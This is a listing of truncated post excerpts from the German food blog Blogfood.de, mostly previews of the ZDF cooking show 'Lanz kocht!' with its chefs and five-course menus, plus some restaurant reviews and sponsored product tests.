- [Ein kulinarisches Erlebnis bei Lanz kocht!](https://www.blogfood.de/ein-kulinarisches-erlebnis-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.50 - 01.00 Uhr im ZDF) bereiten Lanz´ Spitzenköche wieder leckere und raffinierte Gerichte zu. Mit dabei sind Lea Linster, Alexander Herrmann, Johann Lafer, Horst Lichter sowie Alfons Schuhbeck. Vorspeise Rote Beete-Carpaccio mit gerösteten Kürbiskernen und Büffelmozzarella von Alexander Herrmann Zwischengang Crêpes mit Trüffelrührei von Horst Lichter Erster HauptgangZanderkrautwickel mit Kartoffelwürfeln auf Kartoffel-Safransauce
- [Jetzt wird es lecker bei Lanz kocht!](https://www.blogfood.de/jetzt-wird-es-lecker-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.00 - 00.00 Uhr im ZDF) bereiten Lanz´ Köche in der zweiten Sendung des Jahres wieder ein kreatives und leckeres Fünf-Gäng-Menü zu. Mit dabei sind Lea Linster, Johann Lafer, Horst Lichter, Cornelia Poletto sowie Alfons Schuhbeck. Vorspeise Kalbs-Carpaccio mit Gorgonzola dolce von Cornelia Poletto Zwischengang Gebackener Camembert mit fruchtigem Relish von Horst Lichter
- [Einfallsreiche Rezepte bei Lanz kocht!](https://www.blogfood.de/einfallsreiche-rezepte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Auch in diesem Jahr geht es weiter mit Lanz kocht! Heute Abend (00.00 - 01.05 Uhr im ZDF) kreieren Lanz´ Köche in der ersten Sendung des Jahres wieder ein köstliches Fünf-Gäng-Menü. Mit dabei sind Cornelia Poletto, Alexander Herrmann, Kolja Kleeberg, Horst Lichter und Tim Mälzer. Vorspeise Sautierter Minzspinat mit Pancetta und geflämmtem Ziegenfrischkäseschaum von Kolja
- [Lomo Mainz - Teil 2: Kaffee und Literatur](https://www.blogfood.de/lomo-mainz-teil-2-kaffee-und-literatur/) - Blogfood.de - Denn wir lieben Essen: Das Lomo (Ballplatz 2, Mainz) habe ich ja bereits vor wenigen Wochen schon einmal besucht. Wie angekündigt stand bei unserem Besuch am Freitag (12.06.2009) allerdings die ungewöhnliche "Buchbar" im Mittelpunkt. Und tatsächlich: Im Gastraum liegen nicht nur verschiedene Bücher in Regalen aus - sogar jeder Tisch ist mit einem eigenen Exemplar ausgestattet. Gefrühstückt hatten wir
- [Kürbis-Impressionen](https://www.blogfood.de/kuerbis-impressionen/) - Blogfood.de - Denn wir lieben Essen: [salbumphotos=1,144,max]
- [Spiegelei mit Nüwüs](https://www.blogfood.de/spiegelei-mit-nuewues/) - Blogfood.de - Denn wir lieben Essen:
- [Kürbiszeit bei Lanz kocht!](https://www.blogfood.de/kuerbiszeit-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Herbstzeit ist Kürbiszeit - Orangefarben, extrem schmackhaft und gesund". Unter diesem Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.50 - 00.50 Uhr) ansprechende und leckere Gerichte zu. Mit dabei sind Johann Lafer, Martina Kömpel, Alfons Schuhbeck, Horst Lichter und Andreas C. Studer. Diese Gerichte machen auf jeden Fall Lust
- [Es wird pilzig bei Lanz kocht!](https://www.blogfood.de/es-wird-pilzig-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Pilzig - Frisch gepflückt und direkt auf den Tisch - Köstlichkeiten mit den Aromen des Waldes". Unter diesem wilden Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.05 - 00.05 Uhr) herzhafte und ansprechende Gerichte zu. Mit dabei sind Horst Lichter, Andreas C. Studer, Alfons Schuhbeck, Cornelia Poletto und Alexander
- [Auf zur kulinarischen Weltreise mit Lanz kocht!](https://www.blogfood.de/auf-zur-kulinarischen-weltreise-mit-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Auf zur kulinarischen Weltreise! - Holen Sie sich Ihre liebsten Ferienziele in die heimische Küche". Unter diesem geschmackvollen Motto begeben sich heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.05 - 00.05 Uhr) auf Reise und bereiten vielseitige und ansprechende Gerichte zu. Mit dabei sind Steffen Henssler, Alfons Schuhbeck, Mario Gamba, Johann
- [Alles Tolle aus der Knolle bei Lanz kocht!](https://www.blogfood.de/alles-tolle-aus-der-knolle-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Alles Tolle aus der Knolle - Runder Genuss ohne Grenzen". Unter diesem leckeren Motto bereiten heute Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.05 Uhr) vielseitige und ansprechende Gerichte zu. Mit dabei sind Cornelia Poletto, Hans Haas, Johann Lafer, Nelson Müller und Alfons Schuhbeck. Diese Gerichte machen auf jeden Fall
- [Bei Lanz kocht fängt der Herbst schmackhaft an](https://www.blogfood.de/bei-lanz-kocht-faengt-der-herbst-schmackhaft-an/) - Blogfood.de - Denn wir lieben Essen: Das Motto der heutigen Kochsendung mit Markus Lanz lautet "Ein schmackhafter Herbstanfang". Man darf gespannt sein, ob die fünf Köche heute (ZDF, 23.05 Uhr) bei "Lanz kocht" ein schmackhaftes Menü präsentieren werden. Zum Nachkochen finden Sie hier die Rezepte: Vorspeise:Lauwarmer Zucchini-Muschelsalatvon Cornelia Poletto Zwischengang:Gedünsteter Mangold im Parmesankörbchen mit Speck und Spiegeleivon Horst Lichter 1. Hauptgang:Kalbsfilet
- ["Italienische Klassiker" bei Lanz kocht!](https://www.blogfood.de/italienische-klassiker-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Italienische Klassiker - Pasta, Gemüse, frische Kräuter - das schmeckt". Unter diesem leckeren Motto kreierten gestern Abend wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.10 - 00.10 Uhr) traditionelle und ansprechende Gerichte. Mit dabei waren Alfons Schuhbeck, Kolja Kleeberg, Steffen Henssler, Alexander Herrmann und Sarah Wiener. Diese Gerichte machen auf jeden Fall Lust
- [Kulinarische Reisesouvenirs bei Lanz kocht!](https://www.blogfood.de/kulinarische-reisesouvenirs-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Kulinarisches Reisesouvenir - Von Spicy Lachs bis Kamelmilch Panna cotta". Unter diesem Motto begeben sich diesen Freitag, nach 6-wöchiger Sommerpause, endlich wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.05 - 00.05 Uhr) mit den Zuschauern auf eine kleine kulinarische Reise. Mit dabei sind heute Steffen Henssler, Alexander Herrmann, Johann Lafer, Andreas C. Studer
- [Einfach nur lecker bei Lanz kocht](https://www.blogfood.de/einfach-nur-lecker-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Originelle Ideen für den heimischen Herd präsentieren heute Abend die Köche bei der ZDF-Sendung "Lanz kocht" (Freitag, 24.07.2009, 23.05 Uhr). Das Motto der Sendung von Markus Lanz: "Einfach nur lecker" Vorspeise von Steffen Henssler:Rinderfilet-Tataki mit Rettich und Sojadip Zwischengang von Sarah Wiener:Rotbarbe mit Orangenfilets 1. Hauptgang von Alexander Herrmann:Saibling mit Tomaten-Pfifferlingsgemüse und Bachkressesud 2. Hauptgang
- [Im Blogfood.de-Test: Endlichzuhause.de](https://www.blogfood.de/im-blogfood-de-test-endlichzuhause-de/) - Blogfood.de - Denn wir lieben Essen: Im Rahmen einer Marketingkampagne suchte der Betreiber des Online-Shop Endlichzuhause.de vor einiger Zeit hochwertige und themenrelevante Blogs, die den Service sowie die Produkte des Shops testen wollten. Aufgrund der Affinität musste das Blogfood.de-Team nicht lange überlegen und testete daraufhin den Onlineshop. Endlichzuhause.de gehört laut eigenen Angaben zu den führenden Onlineshops für Geschirr und Besteck im
- [Mit "Lanz kocht" quer durch den Gemüsegarten!](https://www.blogfood.de/mit-lanz-kocht-quer-durch-den-gemuesegarten/) - Blogfood.de - Denn wir lieben Essen: "Quer durch den Gemüsegarten - Pfiffige Gerichte zum Sattessen". Unter diesem gesunden Motto bereiten auch diesen Freitag wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.05 Uhr) leckere und vielleicht vitaminreiche Gerichte zu. Mit dabei sind heute Johann Lafer, Andreas C. Studer, Gabi Kurz, Steffen Henssler und Alexander Herrmann. Wir dürfen uns
- [Lanz kocht: Ausgefallen und abwechslungsreich](https://www.blogfood.de/lanz-kocht-ausgefallen-und-abwechslungsreich/) - Heute Abend (31.07.2009, 23 Uhr) wird im ZDF wieder lecker gekocht. Markus Lanz lädt unter dem Motto "Ausgefallen und abwechslungsreich zugleich - Schmackhafte Rezepte, die Lust auf mehr machen" fünf Köche ein, die wieder einmal wunderbare Gerichte kreieren. Dieses Mal wieder mit dabei: Nelson Müller mit einem spannenden Hauptgericht - und Johann Lafer in seiner Paradedisziplin, dem Dessert!
- [Kaviar: Sorten und Selektionen](https://www.blogfood.de/kaviar-sorten-und-selektionen/) - Blogfood.de - Denn wir lieben Essen: Viel wird in TV-Medien und Internet über den König des Kaviars, den Beluga-Kaviar berichtet, doch wenn man etwas näher hinsieht, gibt es auch andere Kaviar-Sorten, bei denen sich ein Blick lohnt. Die Kaviar-Sorten Da wir schon mit dem Thema Beluga-Kaviar angefangen haben, kann man hier auch fortsetzen. Der Beluga-Kaviar gehört - wie auch der Sevruga-Kaviar
- [Thailändische Saté-Spieße mit Erdnuss-Sauce](https://www.blogfood.de/thailaendische-sate-spiesse-mit-erdnuss-sauce/) - Blogfood.de - Denn wir lieben Essen: Der Phuket Thai Imbiss in der Schäfergasse 40 in Frankfurt lag auf unserer kulinarischen Rhein-Main-Tour eigentlich nur zufällig auf dem Weg (mal wieder ;-)) - denn ursprünglich wollten wir ins nahe gelegene Sushi-Restaurant Iwase, doch da es noch geschlossen hatte, entschieden wir uns kurzerhand dazu, die Vorspeise im Thai-Imbiss einzunehmen. Die Hähnchen-Saté-Spieße mit Erdnuss-Sauce hatten
- [Maggi Kochstudio Treff in Frankfurt](https://www.blogfood.de/maggi-kochstudio-treff-in-frankfurt/) - Blogfood.de - Denn wir lieben Essen: Hier trifft sich die Frankfurter Schickeria sicherlich gern zum Business Lunch: Von der kulinarischen Qualität dieses Szenerestaurants konnten wir uns leider nicht überzeugen, da es leider schon geschlossen hatte als wir durch die Frankfurter Innenstadt auf der Suche nach einem guten Sushi-Restaurant waren. Maggi Kochstudio TreffNeue Kräme 2760311 Frankfurt
- [Beim Frühstück klingelten die Alarm-Glocken](https://www.blogfood.de/beim-fruehstueck-klingelten-die-alarm-glocken/) - Blogfood.de - Denn wir lieben Essen: Eigentlich waren wir ja noch gut gesättigt vom Freitagabend - doch so ganz ohne Frühstück wollten wir den Tag dann auch nicht beginnen. Also ab in Richtung Wiesbadener Innenstadt. Warum wir nun gerade in dieser komischen Bäckerei hängen geblieben sind, ist eine gute Frage. Viel interessanter ist aber die Frage, wieso man ein dreckiges Tablett
- [Deftige Gerichte bei Lanz kocht!](https://www.blogfood.de/deftige-gerichte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Deftige Gerichte sommerlich zubereitet - Würzig und leicht zugleich". Unter diesem Motto bereiten heute wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 00.05 - 01.05 Uhr) leckere und für die Jahreszeit vielleicht ungewöhnliche Gerichte zu. Mit dabei sind heute Alexander Herrmann, Steffen Henssler, Johann Lafer, Andreas C. Studer und Alfons Schuhbeck. Wir dürfen uns
- [Leidenschaftliches Kochen bei Lanz kocht!](https://www.blogfood.de/leidenschaftliches-kochen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Kochen aus Leidenschaft - Kreative Rezepte und nützliche Tipps". Unter diesem Motto stand gestern Abend die Sendung Lanz kocht! (ZDF). Für diesen Genuss sorgten die Köche Johann Lafer, Cornelia Poletto, Sarah Wiener, Kolja Kleeberg und Ralf Zacherl. Vorspeise Gebackener Chili-Spargel mit Asia-Mayonnaise von Johann LaferZwischengang Baccala-Kartoffelsuppe von Cornelia Poletto Erster HauptgangHimmel und Erde à la
- [FRoSTA und die Nährwertampel](https://www.blogfood.de/frosta-und-die-naehrwertampel/) - Blogfood.de - Denn wir lieben Essen: FRoSTA zeigt sich wieder einmal vorbildlich und wird als erster deutscher Lebensmittelkonzern ab August auf vier Tiefkühlgerichten die farbige Nährwertampel abbilden. Mit diesem freiwilligen Schritt möchte FRoSTA den Wünschen der Verbraucher nach einer einfacheren Kennzeichnung des Gehalts an Fett, gesättigten Fettsäuren, Zucker und Salz in Gramm pro 100 Gramm entsprechen. Foto: foodwatch FRoSTA verzichtet bereits
- [Teebeutel-Zange](https://www.blogfood.de/teebeutel-zange/) - Blogfood.de - Denn wir lieben Essen: Entdeckt in einem Mainzer "Fachgeschäft" für Küchenbedarf: eine Teebeutel-Zange. Abgesehen davon, dass wir uns nie eine kaufen würden - besitzt jemand soetwas tatsächlich?
- [Ein köstliches Vergnügen bei Lanz kocht!](https://www.blogfood.de/ein-koestliches-vergnuegen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend bereiten die Köche bei "Lanz kocht!" (23.05 - 0.10 Uhr, ZDF) wieder ein kreatives Fünf-Gänge-Menü unter dem Motto "Ein köstliches Vergnügen - Raffiniert gemixed - von deftig bis süß" zu. Mit dabei sind Johanna Maier, Alexander Herrmann, Horst Lichter, Tim Mälzer, Andreas C. Studer und natürlich wieder ein Gewinner aus der "Küchenschlacht". Vorspeise
- [Gourmetmenü für jeden Tag bei Lanz kocht!](https://www.blogfood.de/gourmetmenue-fuer-jeden-tag-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend bereiten die Köche bei "Lanz kocht!" (23.00 - 0.05 Uhr, ZDF) wieder ein kreatives Fünf-Gänge-Menü unter dem Motto "Ein Gourmetmenü für jeden Tag - Phantasievoll und köstlich" zu. Mit dabei sind Lea Linster, Alexander Herrmann, Johannes King, Horst Lichter, Andreas C. Studer und natürlich wieder ein Gewinner aus der "Küchenschlacht". Vorspeise Lachsrillettes von
- [Pfiffige Gerichte](https://www.blogfood.de/pfiffige-gerichte/) - Blogfood.de - Denn wir lieben Essen: Auch heute Abend wird es wieder richtig lecker bei "Lanz kocht!" - das Thema der heutigen Sendung: "Pfiffige Gerichte für jeden Geschmack - Haben Sie Lust auf Genuss?". Heute warten Martina Kömpel, Alexander Herrmann, Johann Lafer, Alfons Schuhbeck und Andreas C. Studer sowie ein Küchenschlachtgewinner mit leckeren Variationen auf: Vorspeise Alfons Schuhbeck: Schuhbecks Fischsuppe zubereitet
- [Exquisites Fünf-Gänge-Menü bei Lanz kocht!](https://www.blogfood.de/exquisites-fuenf-gaenge-menue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Auch am vergangenen Freitag hieß es wieder ran an die Töpfe bei "Lanz kocht!". Dieses Mal für ein exquisites Fünf-Gänge-Menü mit ausgefallenen Zutaten. Mit dabei waren Alexander Herrmann, Johann Lafer, Christian Lohse, Alfons Schuhbeck, Andreas C. Studer und natürlich ein Küchenschlachtgewinner. Vorspeise Alexander Herrmann: Salat vom Rehfilet mit Melone und Pinienkernen Zwischengang Christian Lohse: Risotto
- [Roulette bei Lanz kocht!](https://www.blogfood.de/roulette-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Roulette - Gerollt, gewickelt und einfach nur gut!". Unter diesem vielleicht ungewöhnlichen Motto bereiten heute wieder 5 Köche in der Sendung Lanz kocht! (ZDF, 23.30 - 00.35 Uhr) leckere und kreative Gerichte zu. Mit dabei sind heute Sarah Wiener, Kolja Kleeberg, Andreas C. Studer, Alfons Schuhbeck und nach langer Zeit auch endlich wieder Nelson Müller.
- [Die perfekte Pfingstküche bei Lanz kocht!](https://www.blogfood.de/die-perfekte-pfingstkueche-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Die perfekte Pfingstküche - Ob Obst, Gemüse, Fisch oder Fleisch - da ist alles dabei". Unter diesem Motto bereiten heute wieder 5 TV-Köche, passend zum langen Wochenende, in der Sendung Lanz kocht! (ZDF, 23.00 - 00.00 Uhr) leckere und kreative Gerichte zu. Mit dabei sind heute Sarah Wiener, Steffen Henssler, Johann Lafer, Andreas C. Studer
- [Raffinierte Schlemmerkost bei Lanz kocht!](https://www.blogfood.de/raffinierte-schlemmerkost-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Raffinierte Schlemmerkost - Das wird richtig lecker". Unter diesem Motto bereiten wieder 5 TV-Köche in der Sendung Lanz kocht! (ZDF, 23.00 - 00.00 Uhr) köstliche Gerichte zu. Mit dabei sind heute Lea Linster, Cornelia Poletto, Kolja Kleeberg, Alexander Herrmann und Alfons Schuhbeck. Vorspeise Kalbsfilettartar mit gebratenem Spargel und Petersilienpesto von Alexander Herrmann Zwischengang Spaghetti mit
- [Muttis Lieblingsgerichte bei Lanz kocht!](https://www.blogfood.de/muttis-lieblingsgerichte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Muttis Lieblingsgerichte - Einfache Rezepte zum Verwöhnen und Genießen". Unter diesem Motto bereiten wieder 5 TV-Köche in der Sendung Lanz kocht! (ZDF, 23.05 - 00.05 Uhr) köstliche Gerichte zu. Mit dabei sind heute Johann Lafer, Steffen Henssler, Sarah Wiener, Alfons Schuhbeck und Andreas C. Studer. Vorspeise Spargelsuppe mit Vanille, gebratenen Morcheln und Saibling von Alfons
- ["Einfach gut essen" bei Lanz kocht!](https://www.blogfood.de/einfach-gut-essen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Einfach gut essen - da ist für jeden etwas dabei". Unter diesem Motto steht heute Abend die Sendung Lanz kocht! (23.05 - 00.05 Uhr im ZDF). Für diesen Genuss sorgen heute die Köche Johann Lafer, Cornelia Poletto, Alexander Herrmann, Hans Gerlach sowie Andreas C. Studer mit teils ausgefallenen Rezepten. Vorspeise Ziegenkäse in San Daniele Schinken
- [Frühlingserwachen bei Lanz kocht!](https://www.blogfood.de/fruehlingserwachen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: "Frühlingserwachen - Ein Saisonauftakt für die frische und leichte Küche". Unter diesem Motto steht heute Abend die Sendung Lanz kocht! (23.00 - 00.00 Uhr im ZDF). Für diesen Genuss bereiten heute die Köche Johann Lafer, Horst Lichter, Cornelia Poletto, Martin Baudrexel und Holger Stromberg leckere Gerichte zu. Vorspeise Brunnenkresseschaumsuppe mit gebackenem Ei von Johann Lafer
- [Raffinierte Rezeptideen bei Lanz kocht!](https://www.blogfood.de/raffinierte-rezeptideen-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.45 - 00.50 Uhr im ZDF) kredenzen die fünf Star-Köche Mario Kotaska, Johann Lafer, Steffen Henssler, Kolja Kleeberg und Andreas C. Studer sowie eine Gewinnerin aus "Die Küchenschlacht" bei Markus Lanz wieder jede Menge leckere Gerichte. Unter dem Motto "Raffinierte Rezeptideen - Da macht das Schlemmen richtig Freude" dürften folgende Gerichte Lust auf
- [Klassiker der deutschen Küche bei Lanz kocht!](https://www.blogfood.de/klassiker-der-deutschen-kueche-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: In der heutigen Episode von "Lanz kocht!" begrüßt der Moderator sein sechsköpfiges Küchenteam bestehend aus: Mario Kotaska, Johann Lafer, Horst Lichter, Tim Mälzer, Andreas C. Studer sowie einem Gewinner aus "Die Küchenschlacht". Zum Menü unter dem Motto: "Klassiker der deutschen Küche - In neuen Variationen" gehören: Hackepeter-Brötchen mit Petersilie und Matjes HausfrauenartVorspeise von Tim MälzerKnusprige
- [Kulinarische Frauen-Power bei Lanz kocht!](https://www.blogfood.de/kulinarische-frauen-power-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: In der ZDF-Kochsendung "Lanz kocht!" begrüßt der Moderator, Markus Lanz, am heutigen Abend nur weibliche Köche: Cornelia Poletto, Sarah Wiener, Sohyi Kim, Waltraud Witteler, Lea Linster und Martina Kömpel sind mit von der Partie. Gekocht wird folgendes:San Daniele Schinken mit FeigenschiacciataVorspeise von Cornelia PolettoSpinat auf spanische Art mit Gurken-RaitaZwischengang von Sarah Wiener Zweierlei Fisch mit
- [Einladung zum Brunch bei Lanz kocht!](https://www.blogfood.de/einladung-zum-brunch-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Nachdem letzte Woche leider keine Sendung ausgestrahlt wurde, bereiten die Köche bei "Lanz kocht!" (23.40 - 0.40 Uhr, ZDF) heute Abend ein ausgefallenes Brunch-Menü unter dem Motto ""Einladung zum Brunch" - Kreative Rezepte für Genießer" zu. Mit dabei sind die Fernseh-Köche Cornelia Poletto, Alexander Herrmann, Stefan Marquard, Alfons Schuhbeck, Ralf Zacherl und zwei Gewinner aus
- ["Alles Käse" bei Lanz kocht!](https://www.blogfood.de/alles-kaese-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend bereiten die Köche bei "Lanz kocht!" (23.00 - 0.00 Uhr, ZDF) wieder ein ausgefallenes Fünf-Gänge-Menü unter dem Motto ""Alles Käse" - wie kann man Käse zu einem Sternegericht machen?" zu. Mit dabei sind die Fernseh-Köche Steffen Henssler, Alexander Herrmann, Stefan Marquard, Alfons Schuhbeck, Ralf Zacherl und natürlich wieder ein Gewinner aus der "Küchenschlacht".
- [Herr Hauser hat Geburtstag!](https://www.blogfood.de/herr-hauser-hat-geburtstag/) - Blogfood.de - Denn wir lieben Essen: Herzlichen Glückwunsch, Herr Hauser! Das Geschenk des Tages kann sich übrigens jeder schnappen, dessen Webseite irgendetwas mit dem Thema Kochen und/oder Ernährung zu tun hat. Auch Unternehmen dürfen sich beteiligen. Der 10. Kommentar in diesem Beitrag bekommt einen Monat lang einen kostenlosen Werbeplatz auf Blogfood.de an exponierter Stelle. Mehrere Kommentare derselben Person sind erlaubt, wenn
- [Panemeo - das Biobrot aus dem Internet](https://www.blogfood.de/panemeo-das-biobrot-aus-dem-internet/) - Blogfood.de - Denn wir lieben Essen: Auf Panemeo.com kann man sich sein BIO-Brot nach eigenen Wünschen zusammenstellen und backen lassen. Seit 1964 werden in der Bäckerei und Konditorei Hochleitner aus Tamsweg in Österreich, die für ihre Produkte schon mehrfach ausgezeichnet wurde, leckere Brote gebacken. Im Online-Shop kann man aus über 20 Zutaten wählen und sein eigenes Brot kreieren. Montags und Mittwochs
- [BIONADE bringt eine seltene Frucht groß raus!](https://www.blogfood.de/bionade-bringt-eine-seltene-frucht-gross-raus/) - Blogfood.de - Denn wir lieben Essen: Foto: BIONADE GmbH Kennt man die QUITTE sonst nur als Gelee, ist sie dank BIONADE nun auch zum Trinken gemacht. Mit teils ausgefallenen und auffälligen TV- und Radiospots machte die Marke in den letzten Wochen auf das neue Getränk im Limonadenregal aufmerksam. Geschmacklich tritt die neue Quitte von säuerlich über spritzig bis recht erfrischend auf,
- [Das Lomo in Mainz: Toskanische Gemüsepfanne](https://www.blogfood.de/das-lomo-in-mainz-toskanische-gemuesepfanne/) - Blogfood.de - Denn wir lieben Essen: Am Montagabend war ich im Lomo in Mainz. Das am Ballplatz 2 gelegene Szenerestaurant bietet als Besonderheit eine Buchbar mit Literatur aus untersvhiedlichen Themengebieten. Mich interessierte heute allerdings nur ein sehr dünnes "Buch" - die Speisekarte. Ich begann mit einer Tomatencremesuppe mit Pesto. Ganz okay, hätte aber ruhig noch ein wenig mehr Tomatenaroma vertragen können.
- [Libanesisches Restaurant in Wiesbaden](https://www.blogfood.de/libanesisches-restaurant-in-wiesbaden/) - Blogfood.de - Denn wir lieben Essen: Am Sonntag wollte ich eigentlich nur schnell einen Kaffee trinken. Allerdings schmeckte der arabische Mokka mit Zimt derart lecker, dass ich es einfach nicht lassen konnte, mir eine Vorspeisenplatte zu bestellen. Leider habe ich weder diese noch das darauf folgende Hauptgericht, was mir kurzerhand empfohlen worden war, fotografiert. Tja, beides schmeckte hervorragend und garantiert auf
- [Markus präsentiert schnelle, ideenreiche und köstliche Rezepte](https://www.blogfood.de/markus-praesentiert-schnell-ideenreich-und-koestlich/) - Blogfood.de - Denn wir lieben Essen: Markus Lanz hat sich für heute Abend viel vorgenommen. Seine Gastköche sollen unter dem Motto "Schnell, ideenreich und köstlich" wieder ein paar leckere Gerichte kreieren. Wir sind sicher, dass ihnen das gelingen wird - ein Blick auf die Rezepte für die ZDF-Sendung "Lanz kocht" (03.04.09, 23.25 Uhr - 0.25 Uhr) lässt zumindest darauf hoffen: Thunfisch-Heilbuttcarpaccio
- [Schlemmermenü bei Lanz kocht!](https://www.blogfood.de/schlemmermenue-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend präsentiert Markus Lanz in seiner Kochsendung (23.00 - 0.00 Uhr, ZDF) eine ganze Reihe sehr leckerer Gerichte, die dem Titel der Sendung ("Schlemmermenü zum Genießen") alle Ehre machen. Das heißt, eigentlich sorgen Johannes King, Johann Lafer, Andreas C. Studer, Alfons Schuhbeck, Sarah Wiener und die Küchenschlacht-Gewinnerin Rita Eckmann für das Kulinarische - Lanz
- [Kindergeburtstag](https://www.blogfood.de/kindergeburtstag/) - Blogfood.de - Denn wir lieben Essen: Die Parallelen sind kaum zu übersehen: "Kindergeburtstag" mit Markus Lanz lässt sich kulinarisch in etwa auf derselben Stufe einordnen wie die Kerner-Kochsendung "Hits für Kids" vom 14. Juni 2008. Dieses Mal gaben jedoch Horst Lichter, Mario Kotaska, Ralf Zacherl, Johann Lafer und Cornelia Poletto ihr Bestes an den Töpfen - und zeigten dabei deutlich mehr
- [Hähnchengeschnetzeltes mit Currysauce und Reis](https://www.blogfood.de/haehnchengeschnetzeltes-mit-currysauce-und-reis/) - Blogfood.de - Denn wir lieben Essen: Ein einfaches und schnelles Gericht. Hähnchenbrustfilets klein schneiden, in Öl anbraten und mit Salz und Pfeffer würzen, frisches Gemüse nach Lust und Laune hinzugeben und mit andünsten. Alles mit etwas Paprikagewürz und Chili abschmecken. Das Ganze mit etwas Sahne auffüllen und je nach Geschmack die gewünschte Menge Curry hinzugeben. Parallel den Reis wie gewohnt kochen.
- [Roulade mit Reis und Rahmgemüse](https://www.blogfood.de/roulade-mit-reis-und-rahmgemuese/) - Blogfood.de - Denn wir lieben Essen: Aus der Betriebskantine:
- [Nachruf: Kathis Geburtstag...](https://www.blogfood.de/nachruf-kathis-geburtstag/) - Blogfood.de - Denn wir lieben Essen: Die Kathi hatte natürlich auch Geburtstag - blöderweise hat uns niemand daran erinnert. Sorry Kathi!!! Aber dafür stehst du jetzt ganz oben :-) Also - auch dir alles Liebe und Gute zum Geburtstag (nachträglich) - und viel Spaß in Chile!
- [Kulinarische Highlights zur CeBIT](https://www.blogfood.de/kulinarische-highlights-zur-cebit/) - Blogfood.de - Denn wir lieben Essen: Die weltgrößte Computermesse CeBIT lädt zur Zeit wieder alle Technikinteressierten ein, ihre Aussteller auf dem Messegelände in Hannover zu besuchen. Blogfood.de hat sich auch dieses Jahr wieder vorgenommen, die kulinarische Seite der IT-Messe zu beleuchten. Auf dem Plan stehen Restaurants im näheren Umfeld, aber auch einige Küchen, die man direkt auf dem Messegelände findet. Vorab
- ["Pasta e basta" bei Lanz kocht!](https://www.blogfood.de/pasta-e-basta-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Heute Abend (23.00 - 00.00 Uhr im ZDF) wird es wieder richtig lecker bei Lanz kocht! Unter dem Motto "Pasta e basta - Alles rund um die Nudel - bekömmlich und abwechslungsreich" schwingen heute die Star-Köche Cornelia Poletto, Alexander Herrmann, Kolja Kleeberg, Johann Lafer sowie Andreas C. Studer die Kochlöffel und bereiten köstliche Gerichte zu.
- [WG-Blog.de deckt auf](https://www.blogfood.de/wg-blogde-deckt-auf/) - Blogfood.de - Denn wir lieben Essen: Das geschulte Auge eines WGbloggers lässt sich natürlich nicht von leckerem Essen ablenken (zumindest meistens nicht...). Deshalb ist uns auch nicht entgangen, was da im Hintergrund zu sehen ist:
- [Null Bock auf Schrubben, Wischen und Putzen?](https://www.blogfood.de/null-bock-auf-schrubben-wischen-und-putzen/) - Blogfood.de - Denn wir lieben Essen: So, hier jetzt mal zur Abwechslung ein kleiner Gastbeitrag von Gisela Bruschek und Günter Keil aus München, Autoren des ironischen Putzratgebers „Schwamm drüber – Wie Putzteufel und Chaoten miteinander ins Reine kommen“ (Heyne Verlag): Warum nur? Warum zieht man bloß in eine WG? Denn – mal ganz ehrlich – schon vor dem Einzug ist fast
- [Valentinstags-Rezepte bei Lanz kocht!](https://www.blogfood.de/valentinstags-rezepte-bei-lanz-kocht/) - Blogfood.de - Denn wir lieben Essen: Passend zum morgigen Valentinstag präsentieren die Köche heute Abend bei Markus Lanz verführerische Rezepte für ein romantisches Essen. Die Sendung kommt dieses Mal ohne Küchenschlacht-Gewinner aus - möglicherweise eine richtige Entscheidung der Redaktion, können sich die Zuschauer doch auf die raffinierte Kreationen der Profiköche Alexander Herrmann, Kolja Kleeberg, Johann Lafer und Steffen Henssler freuen. Cornelia
- [Visitenkarten von print24 (trnd-Test)](https://www.blogfood.de/visitenkarten-von-print24-trnd-test/) - Blogfood.de - Denn wir lieben Essen: So was aber auch: Blogfood testet schon wieder ein interessantes Produkt im Rahmen eines trnd-Projekts. Dieses Mal handelt es sich um Visitenkarten, die man über "freedesign" bei der "Online-Druckerei" print24.de bestellen kann. Freedesign ist ein praktisches Onlinetool zum Designen von Visitenkarten und anderen Druckerzeugnissen. Im Test zeigte es sich hier und da etwas störrisch beim
